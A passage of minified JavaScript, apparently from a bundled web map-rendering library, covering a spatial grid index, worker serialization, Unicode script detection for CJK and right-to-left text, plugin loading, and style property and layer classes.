Ma(R,D,U){var ee=this.cells=[];if(R instanceof ArrayBuffer){this.arrayBuffer=R;var ce=new Int32Array(this.arrayBuffer);R=ce[0],D=ce[1],U=ce[2],this.d=D+2*U;for(var me=0;me<this.d*this.d;me++){var Se=ce[Ta+me],We=ce[Ta+me+1];ee.push(Se===We?null:ce.subarray(Se,We))}var at=ce[Ta+ee.length],dt=ce[Ta+ee.length+1];this.keys=ce.subarray(at,dt),this.bboxes=ce.subarray(dt),this.insert=this._insertReadonly}else{this.d=D+2*U;for(var xt=0;xt<this.d*this.d;xt++)ee.push([]);this.keys=[],this.bboxes=[]}this.n=D,this.extent=R,this.padding=U,this.scale=D/R,this.uid=0;var Bt=U/D*R;this.min=-Bt,this.max=R+Bt}Ma.prototype.insert=function(R,D,U,ee,ce){this._forEachCell(D,U,ee,ce,this._insertCell,this.uid++),this.keys.push(R),this.bboxes.push(D),this.bboxes.push(U),this.bboxes.push(ee),this.bboxes.push(ce)},Ma.prototype._insertReadonly=function(){throw"Cannot insert into a GridIndex created from an ArrayBuffer."},Ma.prototype._insertCell=function(R,D,U,ee,ce,me){this.cells[ce].push(me)},Ma.prototype.query=function(R,D,U,ee,ce){var me=this.min,Se=this.max;if(R<=me&&D<=me&&Se<=U&&Se<=ee&&!ce)return Array.prototype.slice.call(this.keys);var We=[],at={};return this._forEachCell(R,D,U,ee,this._queryCell,We,at,ce),We},Ma.prototype._queryCell=function(R,D,U,ee,ce,me,Se,We){var at=this.cells[ce];if(at!==null)for(var dt=this.keys,xt=this.bboxes,Bt=0;Bt<at.length;Bt++){var qt=at[Bt];if(Se[qt]===void 0){var Zt=qt*4;(We?We(xt[Zt+0],xt[Zt+1],xt[Zt+2],xt[Zt+3]):R<=xt[Zt+2]&&D<=xt[Zt+3]&&U>=xt[Zt+0]&&ee>=xt[Zt+1])?(Se[qt]=!0,me.push(dt[qt])):Se[qt]=!1}}},Ma.prototype._forEachCell=function(R,D,U,ee,ce,me,Se,We){for(var at=this._convertToCellCoord(R),dt=this._convertToCellCoord(D),xt=this._convertToCellCoord(U),Bt=this._convertToCellCoord(ee),qt=at;qt<=xt;qt++)for(var Zt=dt;Zt<=Bt;Zt++){var vr=this.d*Zt+qt;if(!(We&&!We(this._convertFromCellCoord(qt),this._convertFromCellCoord(Zt),this._convertFromCellCoord(qt+1),this._convertFromCellCoord(Zt+1)))&&ce.call(this,R,D,U,ee,vr,me,Se,We))return}},Ma.prototype._convertFromCellCoord=function(R){return(R-this.padding)/this.scale},Ma.prototype._convertToCellCoord=function(R){return Math.max(0,Math.min(this.d-1,Math.floor(R*this.scale)+this.padding))},Ma.prototype.toArrayBuffer=function(){if(this.arrayBuffer)return this.arrayBuffer;for(var R=this.cells,D=Ta+this.cells.length+1+1,U=0,ee=0;ee<this.cells.length;ee++)U+=this.cells[ee].length;var ce=new Int32Array(D+U+this.keys.length+this.bboxes.length);ce[0]=this.extent,ce[1]=this.n,ce[2]=this.padding;for(var me=D,Se=0;Se<R.length;Se++){var We=R[Se];ce[Ta+Se]=me,ce.set(We,me),me+=We.length}return ce[Ta+R.length]=me,ce.set(this.keys,me),me+=this.keys.length,ce[Ta+R.length+1]=me,ce.set(this.bboxes,me),me+=this.bboxes.length,ce.buffer};var ja=self.ImageData,yi=self.ImageBitmap,ni={};function se(R,D,U){U===void 0&&(U={}),Object.defineProperty(D,"_classRegistryKey",{value:R,writeable:!1}),ni[R]={klass:D,omit:U.omit||[],shallow:U.shallow||[]}}se("Object",Object),wa.serialize=function(D,U){var ee=D.toArrayBuffer();return U&&U.push(ee),{buffer:ee}},wa.deserialize=function(D){return new wa(D.buffer)},se("Grid",wa),se("Color",Ga),se("Error",Error),se("ResolvedImage",eo),se("StylePropertyFunction",Ms),se("StyleExpression",Qo,{omit:["_evaluator"]}),se("ZoomDependentExpression",no),se("ZoomConstantExpression",As),se("CompoundExpression",Fi,{omit:["_evaluate"]});for(var Ae in zo)zo[Ae]._classRegistryKey||se("Expression_"+Ae,zo[Ae]);function ze(R){return R&&typeof ArrayBuffer<"u"&&(R instanceof ArrayBuffer||R.constructor&&R.constructor.name==="ArrayBuffer")}function Ye(R){return yi&&R instanceof yi}function je(R,D){if(R==null||typeof R=="boolean"||typeof R=="number"||typeof R=="string"||R instanceof Boolean||R instanceof Number||R instanceof String||R instanceof Date||R instanceof RegExp)return R;if(ze(R)||Ye(R))return D&&D.push(R),R;if(ArrayBuffer.isView(R)){var U=R;return D&&D.push(U.buffer),U}if(R instanceof ja)return D&&D.push(R.data.buffer),R;if(Array.isArray(R)){for(var ee=[],ce=0,me=R;ce<me.length;ce+=1){var Se=me[ce];ee.push(je(Se,D))}return ee}if(typeof R=="object"){var We=R.constructor,at=We._classRegistryKey;if(!at)throw new Error("can't serialize object of unregistered class");var dt=We.serialize?We.serialize(R,D):{};if(!We.serialize){for(var xt in R)if(R.hasOwnProperty(xt)&&!(ni[at].omit.indexOf(xt)>=0)){var Bt=R[xt];dt[xt]=ni[at].shallow.indexOf(xt)>=0?Bt:je(Bt,D)}R instanceof Error&&(dt.message=R.message)}if(dt.$name)throw new Error("$name property is reserved for worker serialization logic.");return at!=="Object"&&(dt.$name=at),dt}throw new Error("can't serialize object of type "+typeof R)}function qe(R){if(R==null||typeof R=="boolean"||typeof R=="number"||typeof R=="string"||R instanceof Boolean||R instanceof Number||R instanceof String||R instanceof Date||R instanceof RegExp||ze(R)||Ye(R)||ArrayBuffer.isView(R)||R instanceof ja)return R;if(Array.isArray(R))return R.map(qe);if(typeof R=="object"){var D=R.$name||"Object",U=ni[D],ee=U.klass;if(!ee)throw new Error("can't deserialize unregistered class "+D);if(ee.deserialize)return ee.deserialize(R);for(var ce=Object.create(ee.prototype),me=0,Se=Object.keys(R);me<Se.length;me+=1){var We=Se[me];if(We!=="$name"){var at=R[We];ce[We]=ni[D].shallow.indexOf(We)>=0?at:qe(at)}}return ce}throw new Error("can't deserialize object of type "+typeof R)}var Mt=function(){this.first=!0};Mt.prototype.update=function(D,U){var ee=Math.floor(D);return this.first?(this.first=!1,this.lastIntegerZoom=ee,this.lastIntegerZoomTime=0,this.lastZoom=D,this.lastFloorZoom=ee,!0):(this.lastFloorZoom>ee?(this.lastIntegerZoom=ee+1,this.lastIntegerZoomTime=U):this.lastFloorZoom<ee&&(this.lastIntegerZoom=ee,this.lastIntegerZoomTime=U),D!==this.lastZoom?(this.lastZoom=D,this.lastFloorZoom=ee,!0):!1)};var it={"Latin-1 Supplement":function(R){return R>=128&&R<=255},Arabic:function(R){return R>=1536&&R<=1791},"Arabic Supplement":function(R){return R>=1872&&R<=1919},"Arabic Extended-A":function(R){return R>=2208&&R<=2303},"Hangul Jamo":function(R){return R>=4352&&R<=4607},"Unified Canadian Aboriginal Syllabics":function(R){return R>=5120&&R<=5759},Khmer:function(R){return R>=6016&&R<=6143},"Unified Canadian Aboriginal Syllabics Extended":function(R){return R>=6320&&R<=6399},"General Punctuation":function(R){return R>=8192&&R<=8303},"Letterlike Symbols":function(R){return R>=8448&&R<=8527},"Number Forms":function(R){return R>=8528&&R<=8591},"Miscellaneous Technical":function(R){return R>=8960&&R<=9215},"Control Pictures":function(R){return R>=9216&&R<=9279},"Optical Character Recognition":function(R){return R>=9280&&R<=9311},"Enclosed Alphanumerics":function(R){return R>=9312&&R<=9471},"Geometric Shapes":function(R){return R>=9632&&R<=9727},"Miscellaneous Symbols":function(R){return R>=9728&&R<=9983},"Miscellaneous Symbols and Arrows":function(R){return R>=11008&&R<=11263},"CJK Radicals Supplement":function(R){return R>=11904&&R<=12031},"Kangxi Radicals":function(R){return R>=12032&&R<=12255},"Ideographic Description Characters":function(R){return R>=12272&&R<=12287},"CJK Symbols and Punctuation":function(R){return R>=12288&&R<=12351},Hiragana:function(R){return R>=12352&&R<=12447},Katakana:function(R){return R>=12448&&R<=12543},Bopomofo:function(R){return R>=12544&&R<=12591},"Hangul Compatibility Jamo":function(R){return R>=12592&&R<=12687},Kanbun:function(R){return R>=12688&&R<=12703},"Bopomofo Extended":function(R){return R>=12704&&R<=12735},"CJK Strokes":function(R){return R>=12736&&R<=12783},"Katakana Phonetic Extensions":function(R){return R>=12784&&R<=12799},"Enclosed CJK Letters and Months":function(R){return R>=12800&&R<=13055},"CJK Compatibility":function(R){return R>=13056&&R<=13311},"CJK Unified Ideographs Extension A":function(R){return R>=13312&&R<=19903},"Yijing Hexagram Symbols":function(R){return R>=19904&&R<=19967},"CJK Unified Ideographs":function(R){return R>=19968&&R<=40959},"Yi Syllables":function(R){return R>=40960&&R<=42127},"Yi Radicals":function(R){return R>=42128&&R<=42191},"Hangul Jamo Extended-A":function(R){return R>=43360&&R<=43391},"Hangul Syllables":function(R){return R>=44032&&R<=55215},"Hangul Jamo Extended-B":function(R){return R>=55216&&R<=55295},"Private Use Area":function(R){return R>=57344&&R<=63743},"CJK Compatibility Ideographs":function(R){return R>=63744&&R<=64255},"Arabic Presentation Forms-A":function(R){return R>=64336&&R<=65023},"Vertical Forms":function(R){return R>=65040&&R<=65055},"CJK Compatibility Forms":function(R){return R>=65072&&R<=65103},"Small Form Variants":function(R){return R>=65104&&R<=65135},"Arabic Presentation Forms-B":function(R){return R>=65136&&R<=65279},"Halfwidth and Fullwidth Forms":function(R){return R>=65280&&R<=65519}};function kt(R){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D];if(xr(ee.charCodeAt(0)))return!0}return!1}function jt(R){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D];if(!Kt(ee.charCodeAt(0)))return!1}return!0}function Kt(R){return!(it.Arabic(R)||it["Arabic Supplement"](R)||it["Arabic Extended-A"](R)||it["Arabic Presentation Forms-A"](R)||it["Arabic Presentation Forms-B"](R))}function wr(R){return R<11904?!1:!!(it["Bopomofo Extended"](R)||it.Bopomofo(R)||it["CJK Compatibility Forms"](R)||it["CJK Compatibility Ideographs"](R)||it["CJK Compatibility"](R)||it["CJK Radicals Supplement"](R)||it["CJK Strokes"](R)||it["CJK Symbols and Punctuation"](R)||it["CJK Unified Ideographs Extension A"](R)||it["CJK Unified Ideographs"](R)||it["Enclosed CJK Letters and Months"](R)||it["Halfwidth and Fullwidth Forms"](R)||it.Hiragana(R)||it["Ideographic Description Characters"](R)||it["Kangxi Radicals"](R)||it["Katakana Phonetic Extensions"](R)||it.Katakana(R)||it["Vertical Forms"](R)||it["Yi Radicals"](R)||it["Yi Syllables"](R))}function xr(R){return R===746||R===747?!0:R<4352?!1:!!(it["Bopomofo Extended"](R)||it.Bopomofo(R)||it["CJK Compatibility Forms"](R)&&!(R>=65097&&R<=65103)||it["CJK Compatibility Ideographs"](R)||it["CJK Compatibility"](R)||it["CJK Radicals Supplement"](R)||it["CJK Strokes"](R)||it["CJK Symbols and Punctuation"](R)&&!(R>=12296&&R<=12305)&&!(R>=12308&&R<=12319)&&R!==12336||it["CJK Unified Ideographs Extension A"](R)||it["CJK Unified Ideographs"](R)||it["Enclosed CJK Letters and Months"](R)||it["Hangul Compatibility Jamo"](R)||it["Hangul Jamo Extended-A"](R)||it["Hangul Jamo Extended-B"](R)||it["Hangul Jamo"](R)||it["Hangul Syllables"](R)||it.Hiragana(R)||it["Ideographic Description Characters"](R)||it.Kanbun(R)||it["Kangxi Radicals"](R)||it["Katakana Phonetic Extensions"](R)||it.Katakana(R)&&R!==12540||it["Halfwidth and Fullwidth Forms"](R)&&R!==65288&&R!==65289&&R!==65293&&!(R>=65306&&R<=65310)&&R!==65339&&R!==65341&&R!==65343&&!(R>=65371&&R<=65503)&&R!==65507&&!(R>=65512&&R<=65519)||it["Small Form Variants"](R)&&!(R>=65112&&R<=65118)&&!(R>=65123&&R<=65126)||it["Unified Canadian Aboriginal Syllabics"](R)||it["Unified Canadian Aboriginal Syllabics Extended"](R)||it["Vertical Forms"](R)||it["Yijing Hexagram Symbols"](R)||it["Yi Syllables"](R)||it["Yi Radicals"](R))}function Gr(R){return!!(it["Latin-1 Supplement"](R)&&(R===167||R===169||R===174||R===177||R===188||R===189||R===190||R===215||R===247)||it["General Punctuation"](R)&&(R===8214||R===8224||R===8225||R===8240||R===8241||R===8251||R===8252||R===8258||R===8263||R===8264||R===8265||R===8273)||it["Letterlike Symbols"](R)||it["Number Forms"](R)||it["Miscellaneous Technical"](R)&&(R>=8960&&R<=8967||R>=8972&&R<=8991||R>=8996&&R<=9e3||R===9003||R>=9085&&R<=9114||R>=9150&&R<=9165||R===9167||R>=9169&&R<=9179||R>=9186&&R<=9215)||it["Control Pictures"](R)&&R!==9251||it["Optical Character Recognition"](R)||it["Enclosed Alphanumerics"](R)||it["Geometric Shapes"](R)||it["Miscellaneous Symbols"](R)&&!(R>=9754&&R<=9759)||it["Miscellaneous Symbols and Arrows"](R)&&(R>=11026&&R<=11055||R>=11088&&R<=11097||R>=11192&&R<=11243)||it["CJK Symbols and Punctuation"](R)||it.Katakana(R)||it["Private Use Area"](R)||it["CJK Compatibility Forms"](R)||it["Small Form Variants"](R)||it["Halfwidth and Fullwidth Forms"](R)||R===8734||R===8756||R===8757||R>=9984&&R<=10087||R>=10102&&R<=10131||R===65532||R===65533)}function jr(R){return!(xr(R)||Gr(R))}function Mr(R){return it.Arabic(R)||it["Arabic Supplement"](R)||it["Arabic Extended-A"](R)||it["Arabic Presentation Forms-A"](R)||it["Arabic Presentation Forms-B"](R)}function _r(R){return R>=1424&&R<=2303||it["Arabic Presentation Forms-A"](R)||it["Arabic Presentation Forms-B"](R)}function Hr(R,D){return!(!D&&_r(R)||R>=2304&&R<=3583||R>=3840&&R<=4255||it.Khmer(R))}function Kr(R){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D];if(_r(ee.charCodeAt(0)))return!0}return!1}function rn(R,D){for(var U=0,ee=R;U<ee.length;U+=1){var ce=ee[U];if(!Hr(ce.charCodeAt(0),D))return!1}return!0}var Vr={unavailable:"unavailable",deferred:"deferred",loading:"loading",loaded:"loaded",error:"error"},Dn=null,Fn=Vr.unavailable,Vn=null,Kn=function(R){R&&typeof R=="string"&&R.indexOf("NetworkError")>-1&&(Fn=Vr.error),Dn&&Dn(R)};function ca(){fa.fire(new Nt("pluginStateChange",{pluginStatus:Fn,pluginURL:Vn}))}var fa=new tr,Ra=function(){return Fn},ya=function(R){return R({pluginStatus:Fn,pluginURL:Vn}),fa.on("pluginStateChange",R),R},Ca=function(R,D,U){if(U===void 0&&(U=!1),Fn===Vr.deferred||Fn===Vr.loading||Fn===Vr.loaded)throw new Error("setRTLTextPlugin cannot be called multiple times.");Vn=ie.resolveURL(R),Fn=Vr.deferred,Dn=D,ca(),U||Ua()},Ua=function(){if(Fn!==Vr.deferred||!Vn)throw new Error("rtl-text-plugin cannot be downloaded unless a pluginURL is specified");Fn=Vr.loading,ca(),Vn&&gt({url:Vn},function(R){R?Kn(R):(Fn=Vr.loaded,ca())})},Wa={applyArabicShaping:null,processBidirectionalText:null,processStyledBidirectionalText:null,isLoaded:function(){return Fn===Vr.loaded||Wa.applyArabicShaping!=null},isLoading:function(){return Fn===Vr.loading},setState:function(D){Fn=D.pluginStatus,Vn=D.pluginURL},isParsed:function(){return Wa.applyArabicShaping!=null&&Wa.processBidirectionalText!=null&&Wa.processStyledBidirectionalText!=null},getPluginURL:function(){return Vn}},$a=function(){!Wa.isLoading()&&!Wa.isLoaded()&&Ra()==="deferred"&&Ua()},In=function(D,U){this.zoom=D,U?(this.now=U.now,this.fadeDuration=U.fadeDuration,this.zoomHistory=U.zoomHistory,this.transition=U.transition):(this.now=0,this.fadeDuration=0,this.zoomHistory=new Mt,this.transition={})};In.prototype.isSupportedScript=function(D){return rn(D,Wa.isLoaded())},In.prototype.crossFadingFactor=function(){return this.fadeDuration===0?1:Math.min((this.now-this.zoomHistory.lastIntegerZoomTime)/this.fadeDuration,1)},In.prototype.getCrossfadeParameters=function(){var D=this.zoom,U=D-Math.floor(D),ee=this.crossFadingFactor();return D>this.zoomHistory.lastIntegerZoom?{fromScale:2,toScale:1,t:U+(1-U)*ee}:{fromScale:.5,toScale:1,t:1-(1-ee)*U}};var La=function(D,U){this.property=D,this.value=U,this.expression=Iu(U===void 0?D.specification.default:U,D.specification)};La.prototype.isDataDriven=function(){return this.expression.kind==="source"||this.expression.kind==="composite"},La.prototype.possiblyEvaluate=function(D,U,ee){return this.property.possiblyEvaluate(this,D,U,ee)};var Sa=function(D){this.property=D,this.value=new La(D,void 0)};Sa.prototype.transitioned=function(D,U){return new ci(this.property,this.value,U,i({},D.transition,this.transition),D.now)},Sa.prototype.untransitioned=function(){return new ci(this.property,this.value,null,{},0)};var za=function(D){this._properties=D,this._values=Object.create(D.defaultTransitionablePropertyValues)};za.prototype.getValue=function(D){return x(this._values[D].value.value)},za.prototype.setValue=function(D,U){this._values.hasOwnProperty(D)||(this._values[D]=new Sa(this._values[D].property)),this._values[D].value=new La(this._values[D].property,U===null?void 0:x(U))},za.prototype.getTransition=function(D){return x(this._values[D].transition)},za.prototype.setTransition=function(D,U){this._values.hasOwnProperty(D)||(this._values[D]=new Sa(this._values[D].property)),this._values[D].transition=x(U)||void 0},za.prototype.serialize=function(){for(var D={},U=0,ee=Object.keys(this._values);U<ee.length;U+=1){var ce=ee[U],me=this.getValue(ce);me!==void 0&&(D[ce]=me);var Se=this.getTransition(ce);Se!==void 0&&(D[ce+"-transition"]=Se)}return D},za.prototype.transitioned=function(D,U){for(var ee=new bi(this._properties),ce=0,me=Object.keys(this._values);ce<me.length;ce+=1){var Se=me[ce];ee._values[Se]=this._values[Se].transitioned(D,U._values[Se])}return ee},za.prototype.untransitioned=function(){for(var D=new bi(this._properties),U=0,ee=Object.keys(this._values);U<ee.length;U+=1){var ce=ee[U];D._values[ce]=this._values[ce].untransitioned()}return D};var ci=function(D,U,ee,ce,me){this.property=D,this.value=U,this.begin=me+ce.delay||0,this.end=this.begin+ce.duration||0,D.specification.transition&&(ce.delay||ce.duration)&&(this.prior=ee)};ci.prototype.possiblyEvaluate=function(D,U,ee){var ce=D.now||0,me=this.value.possiblyEvaluate(D,U,ee),Se=this.prior;if(Se){if(ce>this.end)return this.prior=null,me;if(this.value.isDataDriven())return this.prior=null,me;if(ce<this.begin)return Se.possiblyEvaluate(D,U,ee);var We=(ce-this.begin)/(this.end-this.begin);return this.property.interpolate(Se.possiblyEvaluate(D,U,ee),me,a(We))}else return me};var bi=function(D){this._properties=D,this._values=Object.create(D.defaultTransitioningPropertyValues)};bi.prototype.possiblyEvaluate=function(D,U,ee){for(var ce=new ei(this._properties),me=0,Se=Object.keys(this._values);me<Se.length;me+=1){var We=Se[me];ce._values[We]=this._values[We].possiblyEvaluate(D,U,ee)}return ce},bi.prototype.hasTransition=function(){for(var D=0,U=Object.keys(this._values);D<U.length;D+=1){var ee=U[D];if(this._values[ee].prior)return!0}return!1};var Si=function(D){this._properties=D,this._values=Object.create(D.defaultPropertyValues)};Si.prototype.getValue=function(D){return x(this._values[D].value)},Si.prototype.setValue=function(D,U){this._values[D]=new La(this._values[D].property,U===null?void 0:x(U))},Si.prototype.serialize=function(){for(var D={},U=0,ee=Object.keys(this._values);U<ee.length;U+=1){var ce=ee[U],me=this.getValue(ce);me!==void 0&&(D[ce]=me)}return D},Si.prototype.possiblyEvaluate=function(D,U,ee){for(var ce=new ei(this._properties),me=0,Se=Object.keys(this._values);me<Se.length;me+=1){var We=Se[me];ce._values[We]=this._values[We].possiblyEvaluate(D,U,ee)}return ce};var si=function(D,U,ee){this.property=D,this.value=U,this.parameters=ee};si.prototype.isConstant=function(){return this.value.kind==="constant"},si.prototype.constantOr=function(D){return this.value.kind==="constant"?this.value.value:D},si.prototype.evaluate=function(D,U,ee,ce){return this.property.evaluate(this.value,this.parameters,D,U,ee,ce)};var ei=function(D){this._properties=D,this._values=Object.create(D.defaultPossiblyEvaluatedValues)};ei.prototype.get=function(D){return this._values[D]};var la=function(D){this.specification=D};la.prototype.possiblyEvaluate=function(D,U){return D.expression.evaluate(U)},la.prototype.interpolate=function(D,U,ee){var ce=_s[this.specification.type];return ce?ce(D,U,ee):D};var pa=function(D,U){this.specification=D,this.overrides=U};pa.prototype.possiblyEvaluate=function(D,U,ee,ce){return D.expression.kind==="constant"||D.expression.kind==="camera"?new si(this,{kind:"constant",value:D.expression.evaluate(U,null,{},ee,ce)},U):new si(this,D.expression,U)},pa.prototype.interpolate=function(D,U,ee){if(D.value.kind!=="constant"||U.value.kind!=="constant")return D;if(D.value.value===void 0||U.value.value===void 0)return new si(this,{kind:"constant",value:void 0},D.parameters);var ce=_s[this.specification.type];return ce?new si(this,{kind:"constant",value:ce(D.value.value,U.value.value,ee)},D.parameters):D},pa.prototype.evaluate=function(D,U,ee,ce,me,Se){return D.kind==="constant"?D.value:D.evaluate(U,ee,ce,me,Se)};var li=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.possiblyEvaluate=function(ee,ce,me,Se){if(ee.value===void 0)return new si(this,{kind:"constant",value:void 0},ce);if(ee.expression.kind==="constant"){var We=ee.expression.evaluate(ce,null,{},me,Se),at=ee.property.specification.type==="resolvedImage",dt=at&&typeof We!="string"?We.name:We,xt=this._calculate(dt,dt,dt,ce);return new si(this,{kind:"constant",value:xt},ce)}else if(ee.expression.kind==="camera"){var Bt=this._calculate(ee.expression.evaluate({zoom:ce.zoom-1}),ee.expression.evaluate({zoom:ce.zoom}),ee.expression.evaluate({zoom:ce.zoom+1}),ce);return new si(this,{kind:"constant",value:Bt},ce)}else return new si(this,ee.expression,ce)},D.prototype.evaluate=function(ee,ce,me,Se,We,at){if(ee.kind==="source"){var dt=ee.evaluate(ce,me,Se,We,at);return this._calculate(dt,dt,dt,ce)}else return ee.kind==="composite"?this._calculate(ee.evaluate({zoom:Math.floor(ce.zoom)-1},me,Se),ee.evaluate({zoom:Math.floor(ce.zoom)},me,Se),ee.evaluate({zoom:Math.floor(ce.zoom)+1},me,Se),ce):ee.value},D.prototype._calculate=function(ee,ce,me,Se){var We=Se.zoom;return We>Se.zoomHistory.lastIntegerZoom?{from:ee,to:ce}:{from:me,to:ce}},D.prototype.interpolate=function(ee){return ee},D}(pa),Ai=function(D){this.specification=D};Ai.prototype.possiblyEvaluate=function(D,U,ee,ce){if(D.value!==void 0)if(D.expression.kind==="constant"){var me=D.expression.evaluate(U,null,{},ee,ce);return this._calculate(me,me,me,U)}else return this._calculate(D.expression.evaluate(new In(Math.floor(U.zoom-1),U)),D.expression.evaluate(new In(Math.floor(U.zoom),U)),D.expression.evaluate(new In(Math.floor(U.zoom+1),U)),U)},Ai.prototype._calculate=function(D,U,ee,ce){var me=ce.zoom;return me>ce.zoomHistory.lastIntegerZoom?{from:D,to:U}:{from:ee,to:U}},Ai.prototype.interpolate=function(D){return D};var uo=function(D){this.specification=D};uo.prototype.possiblyEvaluate=function(D,U,ee,ce){return!!D.expression.evaluate(U,null,{},ee,ce)},uo.prototype.interpolate=function(){return!1};var _i=function(D){this.properties=D,this.defaultPropertyValues={},this.defaultTransitionablePropertyValues={},this.defaultTransitioningPropertyValues={},this.defaultPossiblyEvaluatedValues={},this.overridableProperties=[];for(var U in D){var ee=D[U];ee.specification.overridable&&this.overridableProperties.push(U);var ce=this.defaultPropertyValues[U]=new La(ee,void 0),me=this.defaultTransitionablePropertyValues[U]=new Sa(ee);this.defaultTransitioningPropertyValues[U]=me.untransitioned(),this.defaultPossiblyEvaluatedValues[U]=ce.possiblyEvaluate({})}};se("DataDrivenProperty",pa),se("DataConstantProperty",la),se("CrossFadedDataDrivenProperty",li),se("CrossFadedProperty",Ai),se("ColorRampProperty",uo);var Ki="-transition",vi=function(R){function D(U,ee){if(R.call(this),this.id=U.id,this.type=U.type,this._featureFilter={filter:function(){return!0},needGeometry:!1},U.type!=="custom"&&(U=U,this.metadata=U.metadata,this.minzoom=U.minzoom,this.maxzoom=U.maxzoom,U.type!=="background"&&(this.source=U.source,this.sourceLayer=U["source-layer"],this.filter=U.filter),ee.layout&&(this._unevaluatedLayout=new Si(ee.layout)),ee.paint)){this._transitionablePaint=new za(ee.paint);for(var ce in U.paint)this.setPaintProperty(ce,U.paint[ce],{validate:!1});for(var me in U.layout)this.setLayoutProperty(me,U.layout[me],{validate:!1});this._transitioningPaint=this._transitionablePaint.untransitioned(),this.paint=new ei(ee.paint)}}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.getCrossfadeParameters=function(){return this._crossfadeParameters},D.prototype.getLayoutProperty=function(ee){return ee==="visibility"?this.visibility:this._unevaluatedLayout.getValue(ee)},D.prototype.setLayoutProperty=function(ee,ce,me){if(me===void 0&&(me={}),ce!=null){var Se="layers."+this.id+".layout."+ee;if(this._validate(ia,Se,ee,ce,me))return}if(ee==="visibility"){this.visibility=ce;return}this._unevaluatedLayout.setValue(ee,ce)},D.prototype.getPaintProperty=function(ee){return m(ee,Ki)?this._transitionablePaint.getTransition(ee.slice(0,-Ki.length)):this._transitionablePaint.getValue(ee)},D.prototype.setPaintProperty=function(ee,ce,me){if(me===void 0&&(me={}),ce!=null){var Se="layers."+this.id+".paint."+ee;if(this._validate(An,Se,ee,ce,me))return!1}if(m(ee,Ki))return this._transitionablePaint.setTransition(ee.slice(0,-Ki.length),ce||void 0),!1;var We=this._transitionablePaint._values[ee],at=We.property.specification["property-type"]==="cross-faded-data-driven",dt=We.value.isDataDriven(),xt=We.value;this._transitionablePaint.setValue(ee,ce),this._handleSpecialPaintPropertyUpdate(ee);var Bt=this._transitionablePaint._values[ee].value,qt=Bt.isDataDriven();return qt||dt||at||this._handleOverridablePaintPropertyUpdate(ee,xt,Bt)},D.prototype._handleSpecialPaintPropertyUpdate=function(ee){},D.prototype._handleOverridablePaintPropertyUpdate=function(ee,ce,me){return!1},D.prototype.isHidden=function(ee){return this.minzoom&&ee<this.minzoom||this.maxzoom&&ee>=this.maxzoom?!0:this.visibility==="none"},D.prototype.updateTransitions=function(ee){this._transitioningPaint=this._transitionablePaint.transitioned(ee,this._transitioningPaint)},D.prototype.hasTransition=function(){return this._transitioningPaint.hasTransition()},D.prototype.recalculate=function(ee,ce){ee.getCrossfadeParameters&&(this._crossfadeParameters=ee.getCrossfadeParameters()),this._unevaluatedLayout&&(this.layout=this._unevaluatedLayout.possiblyEvaluate(ee,void 0,ce)),this.paint=this._transitioningPaint.possiblyEvaluate(ee,void 0,ce)},D.prototype.serialize=function(){var ee={id:this.id,type:this.type,source:this.source,"source-layer":this.sourceLayer,metadata:this.metadata,minzoom:this.minzoom,maxzoom:this.maxzoom,filter:this.filter,layout:this._unevaluatedLayout&&this._unevaluatedLayout.serialize(),paint:this._transitionablePaint&&this._transitionablePaint.serialize()};return this.visibility&&(ee.layout=ee.layout||{},ee.layout.visibility=this.visibility),C(ee,function(ce,me){return ce!==void 0&&!(me==="layout"&&!Object.keys(ce).length)&&!(me==="paint"&&!Object.keys(ce).length)})},D.prototype._validate=function(ee,ce,me,Se,We){return We===void 0&&(We={}),We&&We.validate===!1?!1:ma(this,ee.call(cn,{key:ce,layerType:this.type,objectKey:me,value:Se,styleSpec:Ht,style:{glyphs:!0,sprite:!0}}))},D.prototype.is3D=function(){return!1},D.prototype.isTileClipped=function(){return!1},D.prototype.hasOffscreenPass=function(){return!1},D.prototype.resize=function(){},D.prototype.isStateDependent=function(){for(var ee in this.paint._values){var ce=this.paint.get(ee);if(!(!(ce instanceof si)||!Jo(ce.property.specification))&&(ce.value.kind==="source"||ce.value.kind==="composite")&&ce.value.isStateDependent)return!0}return!1},D}(tr),po={Int8:Int8Array,Uint8:Uint8Array,Int16:Int16Array,Uint16:Uint16Array,Int32:Int32Array,Uint32:Uint32Array,Float32:Float32Array},ai=function(D,U){this._structArray=D,this._pos1=U*this.size,this._pos2=this._pos1/2,this._pos4=this._pos1/4,this._pos8=this._pos1/8},Oo=128,go=5,Oa=function(){this.isTransferred=!1,this.capacity=-1,this.resize(0)};Oa.serialize=function(D,U){return D._trim(),U&&(D.isTransferred=!0,U.push(D.arrayBuffer)),{length:D.length,arrayBuffer:D.arrayBuffer}},Oa.deserialize=function(D){var U=Object.create(this.prototype);return U.arrayBuffer=D.arrayBuffer,U.length=D.length,U.capacity=D.arrayBuffer.byteLength/U.bytesPerElement,U._refreshViews(),U},Oa.prototype._trim=function(){this.length!==this.capacity&&(this.capacity=this.length,this.arrayBuffer=this.arrayBuffer.slice(0,this.length*this.bytesPerElement),this._refreshViews())},Oa.prototype.clear=function(){this.length=0},Oa.prototype.resize=function(D){this.reserve(D),this.length=D},Oa.prototype.reserve=function(D){if(D>this.capacity){this.capacity=Math.max(D,Math.floor(this.capacity*go),Oo),this.arrayBuffer=new ArrayBuffer(this.capacity*this.bytesPerElement);var U=this.uint8;this._refreshViews(),U&&this.uint8.set(U)}},Oa.prototype._refreshViews=function(){throw new Error("_refreshViews() must be implemented by each concrete StructArray layout")};function ui(R,D){D===void 0&&(D=1);var U=0,ee=0,ce=R.map(function(Se){var We=Bu(Se.type),at=U=vu(U,Math.max(D,We)),dt=Se.components||1;return ee=Math.max(ee,We),U+=We*dt,{name:Se.name,type:Se.type,components:dt,offset:at}}),me=vu(U,Math.max(ee,D));return{members:ce,size:me,alignment:D}}function Bu(R){return po[R].BYTES_PER_ELEMENT}function vu(R,D){return Math.ceil(R/D)*D}var yf=function(R){function D(){R.apply(this,arguments)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype._refreshViews=function(){this.uint8=new Uint8Array(this.arrayBuffer),this.int16=new Int16Array(this.arrayBuffer)},D.prototype.emplaceBack=function(ee,ce){var me=this.length;return 